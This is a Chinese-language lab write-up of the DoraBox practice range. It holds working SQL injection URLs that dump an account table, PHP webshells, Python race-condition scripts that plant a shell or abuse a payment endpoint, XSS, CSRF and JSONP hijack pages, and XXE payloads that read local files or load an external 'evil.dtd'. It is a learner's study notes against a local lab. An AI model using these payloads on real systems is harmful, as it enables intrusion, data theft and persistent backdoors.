dorabox冒险手记

# SQLi 字符型

# 过程:

字符型和数字型相比,就是要闭合单引号吧

  1. 单引号闭合,# 用 url 编码 %23:

    http://localhost/dorabox/sql_injection/sql_string.php ?title=1' or 1=1 %23' &submit=submit

    下面就是和数字型注入相同的操作。

  2. 利用 order by 或者 group by 判断字段数:

    正常: http://localhost/dorabox/sql_injection/sql_string.php ?title=1' or 1=1 order by 3 %23' &submit=submit

    报错: http://localhost/dorabox/sql_injection/sql_string.php
    ?title=1’ or 1=1 order by 4 %23’
    &submit=submit

    以上说明需要 3 个字段

  3. 爆该数据库所有表和 news 表有多少条数据

    http://localhost/dorabox/sql_injection/sql_string.php ?title=1' union select 1,(select table_rows from information_schema.tables where table_name='news' and table_schema = database()),(select group_concat(table_name) from information_schema.tables where table_schema = database()) %23' &submit=submit

    因为没有 title 为’1’的文章,所以直接只会出后面攻击所得数据

    注入的三个字段:

    • 1 并不会输出,所以随意

    • (select table_rows from information_schema.tables where table_name=‘news’ and table_schema = database ()) ,用于统计该表的数据数量,没什么用,就是想试试看

    • (select group_concat (table_name) from information_schema.tables where table_schema = database ()),利用 group_concat () 拼接字符串爆表名

  4. 爆字段

    http://localhost/dorabox/sql_injection/sql_string.php ?title=1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_name = 'account' and table_schema = database() %23' &submit=submit

  5. 爆内容

    http://localhost/dorabox/sql_injection/sql_string.php ?title=1' union select 1, 2,concat_ws('-',id,rest,own) from account %23' &submit=submit

# 总结:

在 sql 注入中,注释常用’–+’,而注释符’#‘和’–' 一般不能直接使用。

  • ‘#’:sql 手工注入时,浏览器地址栏输入的 '#' 并没有发送到后台,因为 url 中 #号是用来指导浏览器动作的(例如锚点),对服务器端完全无用,# 的 url 编码是 %23,替换后可行
  • ‘–’:在字符型注入时,–和单引号连接在一起时,无法形成有效的 mysql 语句,可能造成单引号未闭合错误。所以可以使用–’,也可以尝试用多行注释符(块注释符 /**/)、一对英文括号、换行符或加号来代替空格

# SQLi 搜索型

类似字符型注入,主要就是闭合

# 过程:

  1. 进行闭合

    http://localhost/dorabox/sql_injection/sql_search.php
    ?content=’ or ‘%’=’
    &submit=submit’

  2. 判断需要的字段数 3 个(感觉这种方法有点低级)

    http://localhost/dorabox/sql_injection/sql_search.php ?content=' union select 1,2,3 and '%'=' &submit=submit

  3. 爆表,常规手段

    SELECT * FROM news WHERE content like '%$$$$$$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '%'=' %'

  4. 爆字段

    http://localhost/dorabox/sql_injection/sql_search.php ?content=$$$$$$' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'account' and '%'=' &submit=submit

  5. 爆内容

    http://localhost/dorabox/sql_injection/sql_search.php ?content=$$$$$$' union select 1,2, concat_ws('--',id,rest,own) from account where '%'=' &submit=submit

# 总结:

sql 通配符

通配符 描述
% 替代 0 个或多个字符
_ 替代一个字符
[charlist] 字符列中的任何单一字符
[^charlist] 或 [!charlist] 不在字符列中的任何单一字符

# JS 限制文件上传

前端进行了文件名后缀过滤

# 过程:

  1. 打开源代码,把蓝色框部分内容删除,即绕过验证函数
  2. 上传成功,路径告诉了,菜刀直连

# 总结:

遇见了一个问题,还没有解决:

为什么修改 js 代码,加上 |.php 不生效,而删除函数验证一改一个准?

据说就是不可以改(小菜菜,要在前端控制台输入该函数,才会生效)

# 任意文件上传

随便传

# 过程:

根据题目提示,获取到文件上传的路径,用菜刀直接连接

上传的 php 一句话木马 attack.php:

<?php @eval($_POST['attack']) ?>

# 总结:

  1. php 一句话木马基本原理:

    • @表示后面即使执行错误,也不报错 ($_POST [attack] 如果不加 @会报错,因为 attack 变量没有定义就被使用了,报错会暴露密码)
    • eval () 函数,括号内的语句字符串什么的都当做代码执行
    • $_POST [‘attack’] 表示以 post 的方式接收变量 attack,把变量 attack 里面的字符串当做 php 代码执行。例如,若接收到参数 attack=echo ‘attack’,此时代码变为 eval (“echo ‘attack’;”),就会输出 attack
  2. TruBW 博主举的常用的方法:

    你想查看目标硬盘里有没有小黄片,可以用 php 函数: opendir()readdir() 等等。想上传点小黄片,诬陷站主,就用 php 函数: move_uploaded_file ,当然相应的 html 要写好。你想执行 cmd 命令,则用 exec()

# MIME 限制文件上传

.jpg 可以上传成功

# 过程:

  1. 打开网络抓包,把后缀修改为.php
  2. 上传成功,菜刀直连

# 总结:

MIME 介绍:

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定的应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。(来自百度百科)

常见的类型:

文件类型 后缀 数据包中的文件类型
超文本标记语言文本 .html text/html
xml 文档 .xml text/xml
xhtml 文档 .xhtml application/xhtml+xml
普通文本文档 .text text/plain
RTF 文本 .rtf application/rtf
PDF 文档 .pdf application/pdf
Miscrosoft Word 文件 .word application/msword
PNG 图像 .png image/png
GIF 图形 .gif image/gif
JPEG 图形 .jpeg,.jpg image/jpeg
au 声音文件 .au audio/basic
MIDI 音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio 音乐 .ra,.ram audio/x-pn-realaudio
AVI 文件 .avi video/x-msvideo
GZIP 文件 .gz application/x-gzip
TAR 文件 .tar application/x-tar
任意的二进制数据 application/octet-stream

出现在 HTTP 数据包中可能有的位置(不是很有画面感…):

MIME 信息头有:

MIME-Version:

这个头提供了所用 MIME 的版本号。这个值习惯上为 1.0。

Content-Type:

它定义了数据的类型,以便数据能被适当的处理。有效的类型有:text,image,audio,video,applications,multipart 和 message。注意任何一个二进制附件都应该被叫做 application/octet- stream。这个头的一些用例为:image/jpg, application/mswork,multipart/mixed,这只是很少的一部分。

Content-Transfer-Encoding:

这是所有头中最重要的一个,因为它说明了对数据所执行的编码方式,客户 / MUA 将用它对附件进行解码。对于每个附件,可以使用 7bit,8bit,binary ,quoted-printable,base64 和 custom 中的一种编码方式。7bit 编码是用在 US ASCII 字符集上的常用的一种编码方式,也就是,保持它的原样。8bit 和 binary 编码一般不用。对人类可读的标准文本,如果传输要经过对格式有影响的网关时对其进行保护,可以使用 quoted printable 。Base64 是一种通用方法,在需要决定使用哪一种编码方法时,它提供了一个不用费脑子的选择;它通常用在二进制,非文本数据上。注意,任何非 7bit 数据必须用一种模式编码,这样它就可以通过 Internet 邮件网关

Content-ID:

如果 Content-Type 是 message/external-body 或 multipart/alternative 时,这个头就有用了,它超出了本文的范围。

# Content-Description:

这是一个可选的头。它是任何信息段内容的自由文本描述。描述必须使用 us-ascii 码。

Content-Disposition:

一个试验性的头,它用于给客户程序 / MUA 提供提示,来决定是否在行内显示附件或作为单独的附件。

MIME 段头(出现在实际的 MIME 附件部分的头),除了 MIME-Version 头,可以拥有以上任何头字段。如果一个 MIME 头是信息块的一部分,它将作用于整个信息体。例如,如果 Content-Transfer-Encoding 显示在信息(指整个信息)头中,它应用于整个信息体,但是如果它显示在一个 MIME 段里,它 "只能" 用于那个段中。

注意:其可以对自动对收到的邮件进行解密。

[以上拓展来自这里

# 拓展名限制文件上传

后台进行了文件名后缀过滤,无法上传.php 文件

# 过程:

  1. 尝试大小写绕过,把文件名后缀改为.phP,上传成功,菜刀直连

# 总结:

因为写过 upload_labs (没写完),就有思路

# 内容限制文件上传

对文件内容进行判读过滤

# 过程:

  1. 在木马文件最前面加上 GIF89a:

    GIF89a <?php @eval($_POST['attack']) ?>

  2. 上传成功,路径告诉了,菜刀直连

# 总结:

GIF89a 是文件头校验内容,服务器看到这里就会以为是 GIF 文件。

常见的文件头对应关系(入职培训上的,这个我以前还找过,就是因为菜,没有找到):

  1. JPEG;.JPE;.JPG,”JPGGraphic File”
  2. gif,”GIF 89A”
  3. zip,”Zip Compressed”
  4. doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

# SQLi 数字手工注入

# 过程:

  1. 输出报错:

    http://localhost/dorabox/sql_injection/sql_num.php?id=1 order by 4 &submit=submit 正常输出:

    http://localhost/dorabox/sql_injection/sql_num.php
    ?id=1 order by 3 &submit=submit

    以上说明,应输出 3 个字段

  2. 用 count (*) 统计表内数据,只有两条数据:

    http://localhost/dorabox/sql_injection/sql_num.php?id=3 union select 10086,count(*),10087 from news order by 1 desc limit 1
    &submit=submit

  3. 爆数据库

    http://localhost/dorabox/sql_injection/sql_num.php
    ?id=1 union select 3,database(),user() order by 1 desc limit 1
    &submit=submit

  4. 爆表名,利用 group_concat ():

    http://localhost/dorabox/sql_injection/sql_num.php?id=1 union select 3,group_concat(table_name),0 from information_schema.tables where table_schema = database() order by 1 desc
    &submit=submit

  5. 爆字段:

    http://localhost/dorabox/sql_injection/sql_num.php
    ?id=1 union select 3,group_concat(column_name),0 from information_schema.columns where table_name = ‘account’ order by 1 desc
    &submit=submit

  6. 爆内容:

    http://localhost/dorabox/sql_injection/sql_num.php
    ?id = 1 union select 3,concat_ws(",",id,rest,own),0 from account where 1=1 order by 1 desc

# 总结:

  • mysql 字符拼接方法

    1. concat()

      功能:将多个字符串连接成一个字符串

      语法:concat (str1, str2, …)

      说明:返回结果为连接参数产生的字符串,如果有任何一个参数为 null,则返回值为 null。

    2. concat_ws()

      功能:将多个字符串拼接成一个字符串,以自定义的符号进行分割

      语法:concat (separator, str1, str2, …)

      说明:第一个参数指定分隔符,若为 null, 返回结果也会为 null

    3. group_concat()

      功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果

      语法:group_concat ([distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator ‘分隔符’] )

      说明:通过使用 distinct 可以排除重复值;如果希望对结果中的值进行排序,可以使用 order by 句子;separator 是一个字符串,缺省为一个逗号

  • information_schema

    information_schema 数据库是 MySQL 自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括 “数据词典” 和 “系统目录”。

    常用表:

    1. COLLATION_CHARACTER_SET_APPLICABILITY 表,和字符编码相关,包含的常用列:
      1. COLLATION_NAME 排序规则明
      2. CHARACTER_SET_NAME 与排序规则关联的字符集的名称
    2. TABLES 表,提供库中表信息,包含的常用列:
      1. Table_catalog 数据表登记目录
      2. Table_schema 数据表所属的数据库名
      3. Table_name 表名
      4. Table_type 表类型 [system view | base table]
      5. Engine 使用的数据库引擎 [MyISAM | CSV | InnoDB]
      6. Version 版本,默认值 10
      7. Row_format 行格式 [Compact | Dynamic | Fixed]
      8. Table_rows 表里所存多少行数据 (早知道有这个,我就)
      9. Avg_row_length 平均行长度
      10. Data_length 数据长度
      11. Max_data_length 最大数据长度
      12. Index_length 索引长度
      13. Create_time 表的创建时间
      14. Update_time 表的更新时间
      15. Check_time 表的检查时间
      16. Table_collation 表的字符校验编码集
      17. Chechsum 校验和
    3. COLUMNS 表,提供表中字段信息,包含的常用列:
      1. TABLE_CATALOG 包含该列的表所属的目录名称。该值始终为 def。
      2. TABLE_SCHEMA 字段所在数据库的名称。
      3. TABLE_NAME 字段所在表的名称。
      4. COLUMN_NAME 字段的名称。
      5. ORDINAL_POSITION 表中字段的位置。(可能会用 order by ORDINAL_POSITION)COLUMN_TYPE 字段数据类型。
      6. COLUMN_DEFAULT 字段的默认值。如果字段具有显示缺省值 NULL,或者字段定义不含 DEFAULT 子句,则该值为 NULL。
      7. COLUMN_TYPE 类型名称以及别的信息,比如精度或长度(以字符为单位
      8. CHARACTER_OCTET_LENGTH 对于字符串列,最大长度(以字节为单位
      9. CHARACTER_MAXIMUM_LENGTH 对于字符串列,最大长度(以字符为单位) COLUMN_KEY 名称是否已建立索引

    # SSRF

    # 过程:

    1. 利用 file 进行文件读取

    # 总结:

    • 其实就是有 url 的,需要访问别的资源的就可能有 ssrf 漏洞。
    • 利用方式(里面好多没试过的,等我写完报告要去玩玩)
      1. 利用 file 协议读取本地文件(类似文件包含,想要利用这个漏洞,需要知道里面有什么文件或者目录,然后进行内容提取)
      2. 对服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
      3. 攻击运行在内网或本地的应用程序
      4. 对内网 web 应用进行指纹识别,识别企业内部的资产信息
      5. 攻击内外网的 web 应用,主要是使用 HTTP GET 请求就可以实现的攻击
    • 一些的 url 中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

# 任意代码执行

根据题目提示,就是随便输代码,然后服务器执行脚本

# 过程:

  1. phpinfo (),查看 php 版本信息

# 总结:

代码执行漏洞就是通过执行脚本代码,进行渗透

# 任意命令执行

根据题目提示,就是随便输命令

# 过程:

  1. whoami,查看服务器信息

# 总结:

看源码是利用 exec () 函数,直接调用操作系统的命令

# 反射 XSS

输入 12345678,查看源代码,发现服务器返回了输入的字符数统计,以及输入的字符串,在 html 中

# 过程:

  1. 加入 js 代码,alert 一下

# 总结:

​ XSS 反射型,就是通过 get 或者 post 请求,被后台处理过数据,并响应到前端页面上。可以通过使用白名单过滤掉输入的恶意字符进行修复。

# 存储型 XSS

# 过程:

  1. alert 试一下
payload
1
<script>alert("/XSS/")</script>

  1. submit 后返回了字符数,没有 alert,刷新一下,重新加载,发现存储成功

# 总结:

存储型就是把用户输入的恶意字符串存储在服务器(数据库),一般在可以存储数据并会返回到前端代码的地方搞吧,别的用户点了,就会跳到小黑屋这种。或者利用一些平台脚本搞事情。

漏洞修复:在服务端过滤掉 HTML 的尖括号,比如 php 的自带函数 strip_tags (),然后对于一些可以执行的函数进行手动写函数过滤,过滤掉 onchange (),onload (),onclick (),onerror () 等等函数

# DOM 型 XSS

# 过程:

  1. 万能 alert,

    带有 xss 的 url:http://localhost/dorabox/xss/dom_xss.php?name=<script>alert(1)<%2Fscript>&submit=submit

  2. 看源码是在这里打印的: document.write(getURLValue('name'));

# 总结:

DOM 型 xss,仅仅在前端页面进行操作的,通过修改页面的 DOM 节点形成的 XSS,效果和反射型类似。

攻击者在 URL 中插入 XSS 代码,前端页面直接从 url 中获取 xss 代码并输出到页面,导致 xss 代码的执行,攻击者将带有 xss 代码的 url 发给用户,用户打开后收到攻击。

# CSRF 跨域资源

# 过程:

  1. 构造 html 来劫持

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>Ajax</title>
    </head>
    <body>
    <h1>Ajax 发送 get 请求</h1>
    <script>
    function ajax() {
    var xhr = new XMLHttpRequest();
    xhr.responseType = "text";
    xhr.open('GET', 'http://localhost/dorabox/csrf/userinfo.php', true);
    xhr.onreadystatechange= function(e) {
    if(this.status == 200){
    alert(this.responseText);
    }
    };
    xhr.send();
    }
    ajax();
    </script>
    </body>
    </html>

    内容:

# 总结:

实话实说,这个就是借鉴网上的,解释一下js代码:

自定义ajax()方法并执行,ajax内创建XMLHttpRequest对象,设置回应内容的类型为text。

然后发送请求到服务器,其中 open(*method*,*url*,*async*),第三个参数true为异步,异步 JavaScript 和 XML,XMLHttpRequest 对象如果要用于 AJAX 的话,其 open() 方法的 async 参数必须设置为 true。

onreadystatechange:存储函数(或函数名),每当 readyState 属性改变时,就会调用该函数。readyState存有 XMLHttpRequest 的状态。从 0 到 4 发生变化。
  • 0: 请求未初始化

  • 1: 服务器连接已建立

  • 2: 请求已接收

  • 3: 请求处理中

  • 4: 请求已完成,且响应已就绪

    status
    200: “OK”,404: 未找到页面

最后响应成功就 alert 返回的数据

function ajax() {
var xhr = new XMLHttpRequest();
xhr.responseType = “text”;
xhr.open(‘GET’, ‘http://localhost/dorabox/csrf/userinfo.php’, true);
xhr.onreadystatechange= function(e) {
if(this.status == 200){
alert(this.responseText);
}
};
xhr.send();
}
ajax();

# JSONP 劫持

# 过程:

  1. 来一个 csrf 攻击代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>JSONP劫持测试</title>
    </head>
    <body>
    <script type="text/javascript">
    function test(result)
    {
    alert(result.address);
    }
    </script>
    <script type="text/javascript" src="http://localhost/dorabox/csrf/jsonp.php?callback=test"></script>
    </body>
    </html>

# 总结:

JSONP (JSON With Padding),是一种特殊的 CSRF 攻击,目的是获取敏感数据,当 JSON 数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将 JSON 数据发送给第三方即攻击者的代码。

没写过,第一次写,写完跨域好像又多懂了一点点(好像真的懂了,但是入职培训里写的有点详细),我写完这些要再多写几道题,来一点画面感。

# 任意文件包含

# 过程:

  1. 直接文件包含,输出

# 总结:

网上看了很多通关记录,可是大家都是直接包含,如果不是本地靶场,那是怎么知道路径以及文件名的呢?是不是要配合文件上传一起?

# 任意文件包含

# 过程:

  1. 输入 1,发现限制在当前目录,但是不影响要用的文件,所以也是直接包含就可以了

# 总结:

…/ 应该可以突破把

# 条件竞争 - 支付

靶场出了点问题,页面报 php 语法错

但是语法并没有出错,百度了说是 php 版本的问题,但是我基本每个版本都试过且重启了,但是没有解决

不过反正这个题要写脚本,我也不太会,干脆跟着把 poc 撸了一遍

# 过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import threading
import queue

'''
三个变量
url:要测试的网站地址
threads:线程数
q:调用queue构造方法,对列队大小不设限
'''
url="http://localhost/dorabox/race_condition/pay.php"
threads=25
q=queue.Queue()

# 在列队中加入50个元素,0-49
for i in range(50):
q.put(i)
# 定义post函数,发50个一块钱
def post():

# 当q里面还有元素时,就获取元素,发送一个post请求支付一块钱
while not q.empty():
q.get()
# Requests以form表单形式发送post请求,支付输入框name是money嘛
# data = {'key1':'value1',...}
r = requests.post(url, data = {'money' : 1})
r.encoding = 'utf-8'
print(r.text)

'''
一个python文件通常有两种使用方法,
第一是作为脚本直接执行,
第二是 import 到其他的 python 脚本中被调用(模块重用)执行。
因此if __name__ == 'main': 的作用就是:
控制这两种情况执行代码的过程,在if __name__ == 'main': 下的代码只有在第一种情况下(即文件作为脚本直接执行)才会被执行,而 import 到其他脚本中是不会被执行的。

每个python模块(python文件)都包含内置的变量 __name__,当该模块被直接执行的时候,__name__ 等于文件名(包含后缀 .py );如果该模块 import 到其他模块中,则该模块的 __name__ 等于模块名称(不包含后缀.py)
而“__main__” 始终指当前执行模块的名称(包含后缀.py)。进而当模块被直接执行时,__name__ == '__main__' 结果为真。

那其实就是主函数呗,程序运行入口,不过也有点区别嗷
'''
if __name__=='__main__':
# 用25个线程,分别发50个一块钱
for i in range(threads):
t = threading.Thread(target=post) # 目标对象是post函数
t.start() # 开始执行线程

# 总结:

python 代码写的时候,总是爱打分号唉
感觉大家写脚本或者一些小工具,都喜欢用 python,有点意思

这里是看代码的时候找资料看见的(后来才发现 python 自带.chw api,不过英文的阅读起来也有点费时间就是了):

  • Queue 是 python 标准库中的线程安全的列队 (FIFO) 实现
    提供了一个适用于多线程编程的先进先出的数据结构,即列队
    用来在生产者和消费者线程之间的信息传递

  • class Queue.Queue(maxsize=0)
    maxsize 是个整数,指明了列队中能存放的个数上限。
    一旦达到上限,插入会导致阻塞,直到列队中的数据被消费掉。
    如果 maxsize 小于或者等于 0,列队大小没有限制

  • Queue,deque,queue 对比:queue 是多线程中的使用的栈,但是 Python 解释器有一个全局解释器锁 (PIL),
    导致每个 Python 进程中最多同时运行一个线程,
    因此 Python 多线程程序并不能改善程序性能,不能发挥多核系统的优势。

  • multiprocessing.Queue 是 Python 2.6 引入的用来实现多进程的一种高性能栈。

  • collections.deque 是为了高效实现插入和删除操作的双向列表,适合用于队列和栈。

  • queue 实例方法:
    Queue.empty (): 判断队列是否为空。和上面一样注意
    Queue.full (): 判断是否满了。和上面一样注意
    Queue.put (item, block=True, timeout=None): 往队列里放数据。如果满了的话,blocking = False 直接报 Full 异常。如果 blocking = True,就是等一会,timeout 必须为 0 或正数。None 为一直等下去,0 为不等,正数 n 为等待 n 秒还不能存入,报 Full 异常。
    Queue.put_nowait (item): 往队列里存放元素,不等待
    Queue.get (item, block=True, timeout=None): 从队列里取数据。如果为空的话,blocking = False 直接报 empty 异常。如果 blocking = True,就是等一会,timeout 必须为 0 或正数。None 为一直等下去,0 为不等,正数 n 为等待 n 秒还不能读取,报 empty 异常
    Queue.get_nowait (item): 从队列里取元素,不等待两个方法跟踪入队的任务是否被消费者 daemon 进程完全消费

# 条件竞争 - 上传

看源码顺序:文件上传上来,检查后缀,后缀不在允许列表里,删除文件。

# 过程:

竞争的地方,是先删除还是先执行,关键就在于赶在删除之前执行上传的文件。
这是我们上传的文件内容,新建一个 info.php 文件,里面写入一句话木马。

payload
1
<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["key"]);?>'); ?>

通过并发可以实现在上传成功未执行到删除代码的时候,访问执行,生成 info.php。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-
import requests
import threading
import os

# 父类 threading.Thread
class RaceCondition(threading.Thread):
def _init_(self):
threading.Thread._init_(self)
self.url = 'http://localhost/dorabox/race_condition/key.php' # 马
self.uploadUrl = 'http://localhost/dorabox/race_condition/upload.php'; # 搞它

# 获取上传的马,就是解析执行
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200: # 搞到成功就退出
print('create file info.php success.')
os._exit(0)

# 传马
def _upload(self):
print('upload file...')
file = {'myfile' : open('attack.php', 'r')} #key value的数据,我还以为是啥
requests.post(self.uploadUrl, files=file)

# 一直搞
def run(self):
while True:
for i in range(10): # 其实就外面那个循环不就好了,为啥还要再写一个for啊
self._upload()
self._get()

if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
# join的原理就是依次检验线程池中的线程是否结束,没有结束就阻塞直到线程结束,如果结束则跳转执行下一个线程的join函数。
t.join()

# 总结:

python 的 self 竟然不是关键字???是因为__init__(self) 的时候创建了一个该类的实例,且名字叫 self,所以换成别的字符串,在别的函数里也能用把。

python 类变量,它的值将在这个类的所有实例之间共享。(还有在_init_() 的时候 self. 变量,这和 java 区别还蛮大的)

心得就是解题思路真的很重要,因为菜,都没见过,无从下手的感觉太难受了,是不是题目写多了就会有很多思路?希望不要写多了题目思维反而被局限了,还是要多思考。

最后,这道题真的好帅啊!!!

# 任意文件读取

输入…/,发现是可以直接读文件的

# 过程:

  1. 直接读取文件

# 总结:

这个,emmmm,这样的漏洞,很难找把?(傻喵)

# xxe

靶场 php 和 xml 交互的时候报错了,百度没找到解决方案,我太菜了(现在也很菜喔~我们回家摆小摊把 o ( ̄ε ̄*))

# 过程:

  1. 看前端代码,观察到服务端以 xml 的形式接收文件,然后服务器会正常返回客户端在 body 中 post 过去的 xml 代码执行结果

  2. 构造 xml 文件读取 attack.php

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE Sakura [
    <!ENTITY a SYSTEM "file:///C:/Users/lenovo/Desktop/attack.php">
    ]>

    <user><username>&a;</username><password>桜桜私はあなたを愛しています</password></user>

# 总结:

xxe 就是外部实体注入嘛,可以一行代码禁用。

xxe 是由 xml 和 dtd 约束搞出来的东西,我们可以通过文件路径和变量名,回显数据。

1、 当引用的 DTD 文件是本地文件的时候,用 SYSTEM 标识,并写上”DTD 的文件路径”,如下:

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

2、 如果引用的 DTD 文件是一个公共文件时,采用 PUBLIC 标识,如下:

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

1. 内部实体声明

1
2
3
4
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

2. 外部实体声明

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>

上述两种均为引用实体,主要在 XML 文档中被应用,引用方式:& 实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。

3. 参数实体声明

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
<!ENTITY xxe "%body;">
]>
<reset>
<secret>login</secret>
</reset>

参数实体,被 DTD 文件自身使用 ,引用方式为:% 实体名称。和通用实体一样,参数实体也可以外部引用。

允许包含外部实体,就可能存在 XXE 攻击。

【利用 1】读取本地文件

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

【利用 2】读取含特殊字符的本地文件

如果文件中含有特殊字符,如 &,<,>,",' 等,通过上述方法会报错,需要借助 CDATA,CDATA 节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml 标记。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

# 最后哦

小心眼 + 记仇の milkii0,会打败你们的!